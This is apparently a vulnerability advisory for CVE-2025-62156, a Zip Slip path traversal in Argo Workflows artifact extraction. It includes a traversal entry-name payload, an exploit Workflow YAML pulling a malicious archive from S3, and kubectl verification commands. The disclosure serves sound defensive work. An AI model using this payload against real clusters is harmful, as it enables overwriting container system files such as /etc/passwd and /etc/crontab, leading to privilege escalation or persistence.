CVE-2025-62156: argo-workflows Zip Slip path traversal allows arbitrary file write and container configuration overwrite

Vulnerability Description

Vulnerability Overview

1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call, 2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible. 3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc, 4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc", 5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.

untar(): Writing Files Outside the Extraction Directory

https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993

1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container 2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload 3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal 4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory 5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container 6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring

PoC

PoC Description

1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability. 2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory. 3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. 4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory. 5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.

exploit yaml

yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: zipslip- spec: entrypoint: main templates: - name: main container: image: ubuntu:22.04 command: ["sh"] args: ["-c", "echo 'Starting container'; sleep 3000"] volumeMounts: - name: etcvol mountPath: /etc inputs: artifacts: - name: evil path: /work/tmp archive: tar: {} http: url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz" volumes: - name: etcvol emptyDir: {}

exploit

1. Create Zipslip <img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" />

2. Upload S3 <img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" />

3. Create Workflow <img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" />

4. Run <img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" />

5. Exploit Success <img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" />

bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt

Impact

Container Isolation Bypass

The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.